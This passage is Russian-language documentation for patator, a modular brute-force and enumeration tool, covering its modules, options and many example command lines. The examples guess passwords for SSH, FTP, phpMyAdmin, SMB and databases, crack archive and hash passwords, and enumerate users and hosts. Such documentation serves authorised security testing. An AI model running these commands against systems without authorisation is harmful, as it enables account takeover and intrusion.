patator
Описание patator
Patator – это многоцелевой брут-форсер, с модульным дизайном и гибким использованием.
Patator был написан из-за неудовлетворённости от работы с Hydra, Medusa, Ncrack, модулями Metasploit и скриптами NSE Nmap, которые применяются для атак по угадыванию паролей. Автор patator выбрал другой подход, чтобы не создавать ещё один инструмент по брутфорсу, который бы повторял те же самые недостатки. Patator — это многопоточный инструмент, написанный на Python, который стремиться быть более надёжным и гибким, чем его коллеги предшественники.
Неудовлетворённость существующими программами была вызвана следующими их недостатками:
- они не работают или работают ненадёжно (несколько раз в прошлом они выдавали ложноотрицательные результаты)
- они недостаточно гибкие (как сделать перебор по всем спискам слов, подставить любой параметр модуля)
- у них отсутствуют полезные функции (отображение прогресса или пауза во время выполнения)
Patator — это НЕ дружелюбный для новичков инструмент. Чтобы грамотно его использовать нужно изучить доступные примеры.
В настоящее время поддерживаются следующие модули:
- ftp_login : Брут-форс FTP
- ssh_login : Брут-форс SSH
- telnet_login : Брут-форс Telnet
- smtp_login : Брут-форс SMTP
- smtp_vrfy : Перечисление валидных пользователей с использованием SMTP VRFY
- smtp_rcpt : Перечисление валидных пользователей с использованием SMTP RCPT TO
- finger_lookup : Перечисление валидных пользователей с использованием Finger
- http_fuzz : Брут-форс HTTP
- ajp_fuzz : Брут-форс AJP
- pop_login : Брут-форс POP3
- pop_passd : Брут-форс poppassd (http://netwinsite.com/poppassd/)
- imap_login : Брут-форс IMAP4
- ldap_login : Брут-форс LDAP
- smb_login : Брут-форс SMB
- smb_lookupsid : Брут-форс SMB SID-lookup
- rlogin_login : Брут-форс rlogin
- vmauthd_login : Брут-форс демона аутентификации VMware
- mssql_login : Брут-форс MSSQL
- oracle_login : Брут-форс Oracle
- mysql_login : Брут-форс MySQL
- mysql_query : Брут-форс запросов MySQL
- rdp_login : Брут-форс RDP (NLA)
- pgsql_login : Брут-форс PostgreSQL
- vnc_login : Брут-форс VNC
- dns_forward : Прямой поиск DNS
- dns_reverse : Обратный поиск DNS
- snmp_login : Брут-форс SNMP v1/2/3
- ike_enum : Перечисление преобразований IKE
- unzip_pass : Брутфорс паролей зашифрованных файлов ZIP
- keystore_pass : Брутфорс паролей файлов хранилища ключей Java
- sqlcipher_pass : Брутфорс паролей баз данных SQL с шифрованием Cipher
- umbraco_crack : Взлом хешей паролей Umbraco HMAC-SHA1
- tcp_fuzz : Фаззинг TCP служб
- dummy_test : Модуль тестирования
Модули, которые будут реализованы в будущем:
- rdp_login с/без NLA
Особенности patator
- Нет ложных срабатываний, поскольку в своих решениях, игнорировать ли результат, программа основывается на:
- коде статуса ответа
- размере ответа
- совпадении строки или резулярного выражение в ответе
- …смотрите --help
- модульный дизайн
- не ограничена сетевыми модулями (например, есть модуль unzip_pass)
- не ограничена брут-форсингом (например, есть удалённое тестирование эксплойтов или зондирование уязвимой версии)
- интерактивное выполнение
- показ прогресса во время выполнения (нажмите Enter)
- пауза/возобновление выполнения (нажмите p)
- увеличить/уменьшить вербальность
- добавить новые действия и условия во время работы программы (например, для исключения большего типа ответов из показа)
- …нажмите h, чтобы увидеть все доступные интерактивные команды
- Использование постоянных соединений (например, будет протестировано несколько паролей до разъединения с сервером)
- Многопоточность
- Гибкий пользовательский ввод
- Могут быть подставлены любые параметры:
- используйте ключевое слово FILE для перебора файлов
- используйте ключевое слово COMBO для перебора по комбинированным файлам
- используйте ключевое слово NET для перебора каждого хоста сети, подсети
- используйте ключевое слово RANGE для перебора шестнадцатеричных, десятичных или алфавитных диапазонов
- используйте ключевое слово PROG для перебора вывода внешних программ
- Может быть сделан перебор по объединённым спискам слов в любом порядке
- Сохраните каждый ответ (во время запроса) в отдельные файлы журналов для дальнейшего изучения
Домашняя страница: https://github.com/lanjelot/patator
Автор: Sebastien MACKE
Лицензия: GPLv2
Справка по patator
Информация об использовании:
patator <модуль> -h
или
<module> -h (если вы настроили быстрый доступ)
Есть глобальные опции и опции модулей:
все глобальные опции начинаются с - или -- все опции модулей имеют вид опция=значение
Все опции модулей поддерживают подстановку:
./module host=FILE0 port=FILE1 foobar=FILE2.google.FILE3 0=hosts.txt 1=ports.txt 2=foo.txt 3=bar.txt
Ключевые слова (FILE, COMBO, NET, …) играют роль заполнителей. Они служат индикатором типов списков слов и показывают, куда нужно подставить вместо них настоящие слова для тестирования.
Каждое ключевое слово имеет номер для того, чтобы:
- соответствовать должному списку слов
- и показать в каком порядке делать перебор по всем словарям
Например, это будет классический порядок:
./module host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt 10.0.0.1 root password 10.0.0.1 root 123456 10.0.0.1 root qsdfghj ... (пробуем все пароли перед переходом к следующему имени) 10.0.0.1 admin password 10.0.0.1 admin 123456 10.0.0.1 admin qsdfghj ... (пробуем все логины перед переходом к следующему хосту) 10.0.0.2 root password ...
А ведь было бы более разумно:
./module host=FILE2 user=FILE1 password=FILE0 2=hosts.txt 1=logins.txt 0=passwords.txt 10.0.0.1 root password 10.0.0.2 root password 10.0.0.1 admin password 10.0.0.2 admin password 10.0.0.1 root 123456 10.0.0.2 root 123456 10.0.0.1 admin 123456 ...
Доступные интерактивные команды
h показать справку <Enter> показать прогресс d/D увеличить/уменьшить уровень отладки p пауза выполнения f показать подробный прогресс x arg добавить условие слежения a показать все активные условия q остановить выполнение
Ключевые слова, действия и условия, сбои
Ключевые слова
Брут-форс списка хостов с файлом, содержащим комбинированные записи (каждая строка => login:password).
./module host=FILE0 user=COMBO10 password=COMBO11 0=hosts.txt 1=combos.txt
Сканирование подсети просто чтобы собрать баннеры версий.
./module host=NET0 0=10.0.1.0/24,10.0.2.0/24,10.0.3.128-10.0.3.255
Подстановка параметров, полученных перебором диапазона величин.
./module param=RANGE0 0=hex:0x00-0xffff ./module param=RANGE0 0=int:0-500 ./module param=RANGE0 0=lower:a-zzz
Подстановка параметров, полученных перебором вывода внешней программы.
./module param=PROG0 0='john -stdout -i' ./module param=PROG0 0='mp64.bin ?l?l?l',$(mp64.bin --combination ?l?l?l) # http://hashcat.net/wiki/doku.php?id=maskprocessor
Действия и условия
Используйте опцию -x для указания действия во время получения ожидаемого результата. Например:
Чтобы игнорировать ответы с кодом статуса 200 И размером в заданном диапазоне.
./module host=10.0.0.1 user=FILE0 -x ignore:code=200,size=57-74
Чтобы игнорировать ответы с кодом статуса 500 ИЛИ содержащем "Internal error".
./module host=10.0.0.1 user=FILE0 -x ignore:code=500 -x ignore:fgrep='Internal error'
Помните, что условия объединяются логическим И внутри одной опции -x, если использовано несколько опций -x, то они объединяются логическим ИЛИ.
Сбои
Во время выполнения могут случаться сбои (фейлы), к примеру, такие как таймаут соединения TCP. По определению, сбой — это исключение, которое модуль не ожидал и, как результат, исключение перехватывается вышестоящим контроллером. Такие исключения или сбои не сообщаются немедленно пользователю, контроллер будет пробовать ещё 4 раза (смотрите --max-retries) перед сообщение пользователю о сбое в работе с уровнем журналирования "FAIL".
Опции модулей patator
Глобальные опции: --version показать номер версии программы и выйти -h, --help показать справку и выйти Выполнение: -x arg действия и условия, смотри Синтаксис ниже --start=N начать со смещения N в списке слов --stop=N остановиться на смещении N --resume=r1[,rN]* возобновить предыдущий запуск -e arg кодировать всё между двумя тэгами, смотри Синтаксис ниже -C str разделитель строки в комбо файлах (по умолчанию это ':') -X str разделитесь строки в условиях (по умолчанию это ',') --allow-ignore-failures неудачи не могут быть проигнорированы с -x (это сделано специально во избежания ложных срабатываний) эта опция переписывает это поведение Оптимизация: --rate-limit=N ждать N секунд между каждым тестом (по умолчанию это 0) --timeout=N ждать N секунд ответа перед повторной попыткой (по умолчанию 0) --max-retries=N пропустить полезную нагрузку после N попыток (по умолчанию это 4) (-1 для бесконечности) -t N, --threads=N количество потоков (по умолчанию это 10) Ведение журнала: -l ДИРЕКТОРИЮ сохранить вывод и данные ответа в ДИРЕКТОРИЮ -L SFX автоматически сохранять в ДИРЕКТОРИЮ/yyyy-mm-dd/hh:mm:ss_SFX (ДИРЕКТОРИЯ по умолчанию это '/tmp/patator') Отладка: -d, --debug включить отладочные сообщения Синтаксис: -x действия:условия действия := действие[,действие]* действие := "ignore" | "retry" | "free" | "quit" | "reset" условия := условие=значение[,условие=значение]* условие := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep" ignore : не сообщать retry : пробовать полезную нагрузку снова free : отклонить будущие подобные полезные нагрузки quit : прекратить выполнение сейчас reset : закрыть текущее подключение для переподключения в следующий раз code : соответствие коду статуса size : соответствие размеру (N или N-M или N- or -N) time : соответствие времени (N или N-M или N- or -N) mesg : соответствие сообщению fgrep : поиск строки в сообщении egrep : поиск регулярного выражения в сообщении Например, для игнорирования всех перенаправлений на домашнюю страницу: ... -x ignore:code=302,fgrep='Location: /home.html' -e тэг:кодировка тэг := любая уникальная строка (например, T@G или _@@_ или ...) кодировка := "unhex" | "sha1" | "b64" | "url" | "hex" | "md5" unhex : декодировать из шестнадцатеричной sha1 : хеш в sha1 b64 : кодировать в base64 url : url кодирование hex : кодировать в шестнадцатеричную md5 : hash в md5 Например, для кодирования каждого пароля в base64: ... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
ftp_login
Использование:
ftp_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
Опции модуля:
host : целевой хост port : целевой порт [21] user : имена пользователя для тестирования password : пароли для тестирования tls : использовать TLS [0|1] timeout : секунд для ожидания ответа [10] persistent : использовать постоянные подключения [1|0]
ssh_login
Использование:
ssh_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.'
Опции модуля:
host : целевой хост port : целевой порт [22] user : имена пользователя для тестирования password : пароли для тестирования auth_type : тип используемой парольной аутентификации [пароль|клавиатура-интерактивный|авто] keyfile : файл с приватным ключом RSA, DSA или ECDSA для тестирования persistent : использовать постоянные подключения [1|0]
telnet_login
Использование:
telnet_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
telnet_login host=10.0.0.1 inputs='FILE0\nFILE1' 0=logins.txt 1=passwords.txt persistent=0 prompt_re='Username:|Password:' -x ignore:egrep='Login incorrect.+Username:'
Опции модуля:
host : целевой хост port : целевой порт [23] inputs : список значений для ввода prompt_re : регулярное выражение, соответствующее строки запроса [\w+:] timeout : секунд ожидания ответа и соответствия prompt_re полученных данных [20] persistent : использовать постоянные подключения [1|0]
smtp_login
Использование:
smtp_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
smtp_login host=10.0.0.1 user=f.bar@dom.com password=FILE0 0=passwords.txt [helo='ehlo its.me.com'] -x ignore:fgrep='Authentication failed' -x ignore,reset,retry:code=421
Опции модуля:
persistent : использовать постоянные соединения [1|0] timeout : секунд ожидания ответа [10] host : целевой хост port : целевой порт [25] ssl : использовать SSL [0|1] helo : команды для отправки после подключения helo или ehlo [пропустить] starttls : отправить STARTTLS [0|1] user : имена пользователей для тестирования password : пароли для тестирования
smtp_vrfy
Использование:
smtp_vrfy <опции-модуля ...> [глобальные-опции ...]
Примеры:
smtp_vrfy host=10.0.0.1 user=FILE0 0=logins.txt [helo='ehlo its.me.com'] -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421
Опции модуля:
persistent : использовать постоянные соединения [1|0] timeout : секунды на ожидание ответа [10] host : целевой хост port : целевой порт [25] ssl : использовать SSL [0|1] helo : команды для отправки после подключения helo или ehlo [пропустить] starttls : отправлять STARTTLS [0|1] user : имена пользователя для тестирования
smtp_rcpt
Использование:
smtp_rcpt <опции-модуля ...> [глобальные-опции ...]
Примеры:
smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt [helo='ehlo its.me.com'] [mail_from=bar@example.com] -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421
Опции модуля:
persistent : использовать постоянные соединения [1|0] timeout : секунды на ожидание ответа [10] host : целевой хост port : целевой порт [25] ssl : использовать SSL [0|1] helo : команды для отправки после подключения helo или ehlo [пропустить] starttls : отправить STARTTLS [0|1] user : имена пользователя для тестирования mail_from : отправить email [test@example.org]
finger_lookup
Использование:
finger_lookup <опции-модуля ...> [глобальные-опции ...]
Примеры:
finger_lookup host=10.0.0.1 user=FILE0 0=words.txt -x ignore:fgrep='no such user'
Опции модуля:
host : целевой хост port : целевой порт [79] user : имена пользователя для тестирования timeout : секунд на ожидание ответа [5]
http_fuzz
Использование:
http_fuzz <опции-модуля ...> [глобальные-опции ...]
Примеры:
http_fuzz url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500 http_fuzz url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt -x ignore:code=401 http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server'
Опции модуля:
url : целевой url (схема://хост[:порт]/путь?запрос) body : данные тела header : использовать пользовательские заголовки method : метод для использования [GET|POST|HEAD|...] raw_request : загрузить запрос из файла scheme : схема [http|https] auto_urlencode: автоматически выполнять URL-кодирование [1|0] user_pass : имя пользователя и пароль для HTTP аутентификации (пользователь:пароль) auth_type : тип HTTP аутентификации [basic | digest | ntlm] follow : следовать любому редиректу Location [0|1] max_follow : предел редиректов [5] accept_cookie : сохранить полученные кукиз для отправки их в следующих запросах [0|1] http_proxy : тип прокси для использования [http|socks4|socks4a|socks5] ssl_cert : файл клиентского SSL сертификата (cert+key в PEM формате) timeout_tcp : секунд для ожидания TCP хендшейка [10] timeout : секунд для ожидания HTTP ответа [20] before_urls : разделённые запятой URL для запроса перед основным запросом before_header : использовать пользовательский заголовок в запросе before_urls before_egrep : извлечь данные из before_urls ответа для размещения в главный запрос after_urls : разделённые запятыми URL для запроса после главного запроса max_mem : сохранять не более чем N байт данных запроса+ответа в памяти [-1 (неограниченно)] persistent : использовать постоянные соединения [1|0]
ajp_fuzz
Использование:
ajp_fuzz <опции-модуля ...> [глобальные-опции ...]
Примеры:
ajp_fuzz url=ajp://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500 ajp_fuzz url=ajp://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt -x ignore:code=401
Опции модуля:
url : целевой url (ajp://хост[:порт]/путь?запрос) header : использовать пользовательские заголовки user_pass : имя пользователя и пароль для HTTP аутентификации (пользователь:пароль)
pop_login
Использование:
pop_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
pop_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:code=-ERR
Опции модуля:
host : целевой хост port : целевой порт [110] user : имена пользователя для тестирования password : пароли для тестирования ssl : использовать SSL [0|1] timeout : секунд ожидания ответа [10] persistent : использовать постоянные соединения [1|0]
pop_passd
Использование:
pop_passd <опции-модуля ...> [глобальные-опции ...]
Примеры:
pop_passd host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:code=500
Опции модуля:
host : целевой хост port : целевой порт [106] user : имена пользователя для тестирования password : пароли для тестирования timeout : секунд ожидания ответа [10]
imap_login
Использование:
imap_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
imap_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt
Опции модуля:
host : целевой хост port : целевой порт [143] user : имена пользователя для тестирования password : пароли для тестирования ssl : использовать SSL [0|1]
ldap_login
Использование:
imap_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
imap_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt
Опции модуля:
host : целевой хост port : целевой порт [143] user : имена пользователя для тестирования password : пароли для тестирования ssl : использовать SSL [0|1]
smb_login
Использование:
smb_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
smb_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep='unknown user name or bad password'
Опции модуля:
host : целевой хост port : целевой порт [139] user : имена пользователя для тестирования password : пароли для тестирования password_hash : LM/NT хеши для тестирования, должен быть предоставлен хотя бы один хеш ('lm:nt' или ':nt' или 'lm:') domain : домен для тестирования persistent : использовать постоянные соединения [1|0]
smb_lookupsid
Использование:
smb_lookupsid <опции-модуля ...> [глобальные-опции ...]
Примеры:
smb_lookupsid host=10.0.0.1 sid=S-1-5-21-1234567890-1234567890-1234567890 rid=RANGE0 0=int:500-2000 -x ignore:code=1
Опции модуля:
host : целевой хост port : целевой порт [139] sid : SID для тестирования rid : RID для тестирования user : имя пользователя для использования, если требуется аутентификация password : пароль для использования, если требуется аутентификация persistent : использовать постоянные соединения [1|0]
rlogin_login
Использование:
rlogin_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
Пожалуйста, обратите внимание, что rlogin требует привязки сокета к привилегированному порту Интернет-домена.
rlogin_login host=10.0.0.1 user=root luser=FILE0 0=logins.txt persistent=0 -x ignore:fgrep=Password: rlogin_login host=10.0.0.1 user=john password=FILE0 0=passwords.txt -x 'reset:egrep!=Login incorrect.+login:'
Опции модуля:
host : целевой хост port : целевой порт [513] luser : имя клиента [root] user : имена пользователя для тестирования password : пароли для тестирования prompt_re : регулярное выражение, соответствующее строке запроса [\w+:] timeout : секунд на ожидание ответа и соответствия полученных данных prompt_re [10] persistent : использовать постоянные соединения [1|0]
vmauthd_login
Использование:
vmauthd_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
vmauthd_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt
Опции модуля:
host : целевой хост port : целевой порт [902] user : имена пользователя для тестирования password : пароли для тестирования ssl : использовать SSL [1|0] timeout : секунд на ожидание ответа [10] persistent : использовать постоянные соединения [1|0]
mssql_login
Использование:
mssql_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
mssql_login host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'
Опции модуля:
host : целевой хост port : целевой порт [1433] user : имена пользователя для тестирования password : пароли для тестирования windows_auth : использовать Windows аутентификацию [0|1] domain : домен для тестирования [] password_hash : LM/NT хеши для тестирования ('lm:nt' или ':nt')
oracle_login
Использование:
oracle_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
oracle_login host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505 oracle_login host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt -x ignore:code=ORA-01017
Опции модуля:
host : имя хоста или посети в качестве цели port : порты в качестве целей [1521] user : имена пользователя для тестирования password : пароли для тестирования sid : sid для тестирования service_name : имя службы для тестирования
mysql_login
Использование:
mysql_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
mysql_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep='Access denied for user'
Опции модуля:
host : целевой хост port : целевой порт [3306] user : имена пользователя для тестирования password : пароли для тестирования timeout : секунды на ожидание ответа [10]
mysql_query
Использование:
mysql_query <опции-модуля ...> [глобальные-опции ...]
Примеры:
mysql_query host=10.0.0.1 user=root password=s3cr3t query="select length(load_file('/home/adam/FILE0'))" 0=files.txt -x ignore:size=0
Опции модуля:
host : целевой хост port : целевой порт [3306] user : имена пользователя для тестирования password : пароли для тестирования query : SQL запрос для выполнения
rdp_login
Использование:
rdp_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
rdp_login host=10.0.0.1 user='administrator' password=FILE0 0=passwords.txt
Опции модуля:
host : целевой хост port : целевой порт [3389] user : имена пользователя для тестирования password : пароли для тестирования
pgsql_login
Использование:
pgsql_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
pgsql_login host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt -x ignore:fgrep='password authentication failed for user'
Опции модуля:
host : целевой хост port : целевой порт [5432] user : имена пользователя для тестирования password : пароли для тестирования database : базы данных для тестирования [postgres] timeout : секунды на ожидание ответа [10]
vnc_login
Использование:
vnc_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
vnc_login host=10.0.0.1 password=FILE0 0=passwords.txt -t 1 -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0
Опции модуля:
host : целевой хост port : целевой порт [5900] password : пароли для тестирования timeout : секунды на ожидание ответа [10]
dns_forward
Использование:
dns_forward <опции-модуля ...> [глобальные-опции ...]
Примеры:
dns_forward name=FILE0.google.com 0=names.txt -x ignore:code=3 dns_forward name=google.MOD0 0=TLD -x ignore:code=3 dns_forward name=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3
Опции модуля:
name : имена доменов для поиска server : сервер имён для запросов (прямое указание зон авторитетных NS может возвращать больше результатов) [8.8.8.8] timeout : секунд на ожидание ответа [5] protocol : отправлять запросы через udp или tcp [udp] qtype : тип запросов [ANY] qclass : класс запросов [IN]
dns_reverse
Использование:
dns_reverse <опции-модуля ...> [глобальные-опции ...]
Примеры:
dns_reverse host=NET0 0=192.168.0.0/24 -x ignore:code=3 dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
Опции модуля:
host : IP адреса для обратного запроса server : сервер имён для запросов (прямое указание зон авторитетных NS может возвращать больше результатов) [8.8.8.8] timeout : секунд ожидания ответа [5] protocol : отправлять запросы через udp или tcp [udp]
snmp_login
Использование:
snmp_login <опции-модуля ...> [глобальные-опции ...]
Примеры:
snmp_login host=10.0.0.1 version=2 community=FILE0 0=names.txt -x ignore:mesg='No SNMP response received before timeout' snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName snmp_login host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest
Опции модуля:
host : целевой хост port : целевой порт [161] version : SNMP версия для использования [2|3|1] community : SNMPv1/2c общие имена для тестирования [public] user : SNMPv3 имена пользователей для тестирования [myuser] auth_key : SNMPv3 парольные фразы для тестирования [my_password] timeout : секунд ожидания ответа [1] retries : количество последовательных повторных попыток запроса [2]
ike_enum
Использование:
ike_enum <опции-модуля ...> [глобальные-опции ...]
Примеры:
ike_enum host=10.0.0.1 transform=MOD0 0=TRANS -x ignore:fgrep=NO-PROPOSAL ike_enum host=10.0.0.1 transform=MOD0 0=TRANS -x ignore:fgrep=NO-PROPOSAL aggressive=RANGE1 1=int:0-1
Опции модуля:
host : целевой хост host : целевой порт [500] transform : transform для тестирования [5,1,1,2] aggressive : использовать агрессивный режим [0|1] groupname : значение идентификации для агрессивного режима [foo] vid : разделённые запятой ID вендоров для использования
unzip_pass
Использование:
unzip_pass <опции-модуля ...> [глобальные-опции ...]
Примеры:
unzip_pass zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0
Опции модуля:
zipfile : ZIP файлы для тестирования password : пароли для тестирования
keystore_pass
Использование:
keystore_pass <опции-модуля ...> [глобальные-опции ...]
Примеры:
keystore_pass keystore=path/to/keystore.jks password=FILE0 0=passwords.txt -x ignore:fgrep='password was incorrect'
Опции модуля:
keystore : файлы хранилища ключей для тестирования password : пароли для тестирования storetype : тип хранилища ключей для тестирования
sqlcipher_pass
Использование:
sqlcipher_pass <опции-модуля ...> [глобальные-опции ...]
Примеры:
sqlcipher_pass database=путь/до/db.sqlite password=FILE0 0=passwords.txt -x ignore:fgrep='file is encrypted'
Опции модуля:
database : файлы базы данных для тестирования password : пароли для тестирования
umbraco_crack
Использование:
umbraco_crack <опции-модуля ...> [глобальные-опции ...]
Примеры:
umbraco_crack hashlist=@umbraco_users.pw password=FILE0 0=rockyou.txt
Опции модуля:
hashlist : хеши для взлома password : пароли для тестирования
tcp_fuzz
Использование:
tcp_fuzz <опции-модуля ...> [глобальные-опции ...]
Примеры:
tcp_fuzz host=10.0.0.1 data=RANGE0 0=hex:0x00-0xffffff
Опции модуля:
host : целевой хост port : целевой порт timeout : секунд ожидания ответа [10]
dummy_test
Использование:
dummy_test <опции-модуля ...> [глобальные-опции ...]
Примеры:
dummy_test data=_@@_RANGE0_@@_ 0=hex:0x00-0xff -e _@@_:unhex dummy_test data=RANGE0 0=int:10-0 dummy_test data=PROG0 0='seq -w 10 -1 0' dummy_test data=PROG0 0='mp64.bin -i ?l?l?l',$(mp64.bin --combination -i ?l?l?l)
Опции модуля:
data : данные для тестирования data2 : данные2 для тестирования delay : фальшивая произвольная задержка
Дополнительная информация и примеры использования модулей
Внимательно изучите последующие примеры, чтобы получить хорошее понимание как работает patator.
FTP
Брут-форс аутентификации. Не сообщать о неверных паролях.
ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.'
Примечание 0. Если вы получаете ошибки вроде "500 OOPS: priv_sock_get_cmd", используйте -x ignore,reset,retry:code=500 чтобы повторно пробовать последний логин/пароль используя новое TCP соединение. Старые сервера вроде vsftpd возвращают это когда они закрывают TCP соединение (например, достигнуто максимальное количество попыток входа).
Примечание 1. Если вы получаете ошибки вроде «слишком много подключений с вашего IP адреса», попробуйте уменьшить число потоков, возможно на сервере настроено максимальное количество одновременных подключений.
Также как и раньше, но остановить тестирование пользователя после того, как его пароль найден.
ftp_login ... -x free=user:code=0
Поиск FTP серверов с анонимным доступом в подсети.
ftp_login host=NET0 user=anonymous password=test@example.com 0=10.0.0.0/24
SSH
Брут-форс аутентификации с паролем таким же как логин (также известен как одиночный режим). Не сообщать о неверных паролях.
ssh_login host=10.0.0.1 user=FILE0 password=FILE0 0=logins.txt -x ignore:mesg='Authentication failed.'
Примечание. Если вы получаете ошибки вроде «Ошибка чтения баннера протокола SSH …Соединение сборошено пиром», попробуйте уменьшить количество потоков, сервер может быть настроен на максимальное количество одновременных подключений (к примеру MaxStartups в OpenSSH).
Брут-форс нескольких хостов и остановка тестирования хоста после нахождения валидного пароля.
ssh_login host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt -x free=host:code=0
Как и предыдущее, только остановка тестирования пользователя на хосте после нахождения его пароля.
ssh_login host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt -x free=host+user:code=0
Telnet
Брут-форс аутентификации.
(a) Ввод логина после обнаружения первого приглашения, ввод пароля после второго приглашения.
(b) Регулярные выражения для обнаружения предложения ввода логина и пароля.
(c) Переподключение если нет приглашения ввода логина (достигнуто максимальное количество попыток или успешный вход).
(a) telnet_login host=10.0.0.1 inputs='FILE0\nFILE1' 0=logins.txt 1=passwords.txt prompt_re='tux login:|Password:' -x reset:egrep!='Login incorrect.+tux login:' (b) (c)
Запомните. Если вы получаете ошибки вроде «соединение telnet закрыто», попробуйте уменьшить количество потоков, т. к. сервер может быть настроен на ограничение максимального числа одновременных подключений.
SMTP
Перечислить валидных пользователей используя команду VRFY.
(a) Не сообщать о неверных получателях.
(b) Не сообщать когда сервер отключил на с "421 too many errors", переподключиться и продолжить тестирование.
(a) smtp_vrfy host=10.0.0.1 user=FILE0 0=logins.txt -x ignore:fgrep='User unknown in local recipient table' -x ignore,reset,retry:code=421 (b)
Использовать команду RCPT TO в случае если команда VRFY недоступна.
smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt helo='ehlo mx.fb.com' mail_from=root
Брут-форс аутентификации.
(a) Отправлять фейковое имя хоста (по умолчанию в качестве вашего хоста отправляется fqdn)
(a) smtp_login host=10.0.0.1 helo='ehlo its.me.com' user=FILE0@dom.com password=FILE1 0=logins.txt 1=passwords.txt
HTTP
Найти скрытые веб ресурсы.
(a) Использовать специфичные заголовки.
(b) Следовать редиректам.
(c) Не сообщать об ошибках 404.
(d) Повторно пробовать при ошибках 500.
(a) http_fuzz url=http://localhost/FILE0 0=words.txt header='Cookie: SESSID=A2FD8B2DA4' follow=1 -x ignore:code=404 -x ignore,retry:code=500 (b) (c) (d)
Запомните. Вы можете увеличить скорость до 10 используя webef (http://www.hsc.fr/ressources/outils/webef/).
Это самый быстрый HTTP брут-форсер, который я знаю, хотя на настоящий момент всё ещё недостаёт полезных функций, что будет мешать вам выполнять следующие атаки.
Брут-форс входа phpMyAdmin.
(a) Использовать запросы POST.
(b) Следовать редиректам используя кукиз отправленные сервером.
(c) Игнорировать сбои аутентификации.
(a) (b) (b) http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST follow=1 accept_cookie=1 body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt -x ignore:fgrep='Cannot log in to the MySQL server' (c)
Сканировать подсеть и составить листинг директорий.
(a) Игнорировать несоответствующие ответы.
(b) Сохранить соответствующие ответы в директории.
http_fuzz url=http://NET0/FILE1 0=10.0.0.0/24 1=dirs.txt -x ignore:fgrep!='Index of' -l /tmp/directory_listings (a) (b)
Брут-форс базовой аутентификации.
(a) Одиночный режим (логин == пароль).
(b) Не сообщать о сбоях попыток входа.
http_fuzz url=http://10.0.0.1/manager/html user_pass=FILE0:FILE0 0=logins.txt -x ignore:code=401 (a) (b)
Поиск скрытых виртуальных хостов.
(a) Читать шаблон из файла.
(b) Подставлять как заголовки Host и User-Agent.
echo -e 'Host: FILE0\nUser-Agent: FILE1' > headers.txt http_fuzz url=http://10.0.0.1/ header=@headers.txt 0=vhosts.txt 1=agents.txt (a) (b)
(a) (a) http_fuzz url='http://10.0.0.1/login?username=admin&password=_@@_FILE0_@@_' -e _@@_:hex 0=words.txt -x ignore:'code=200|size=1500-|fgrep=Welcome, unauthenticated user' -X '|' (b) (c)
Брут-форс входа, который усилен двумя случайными одноразовыми величинами, которые должны быть отправлены вместе с каждым POST.
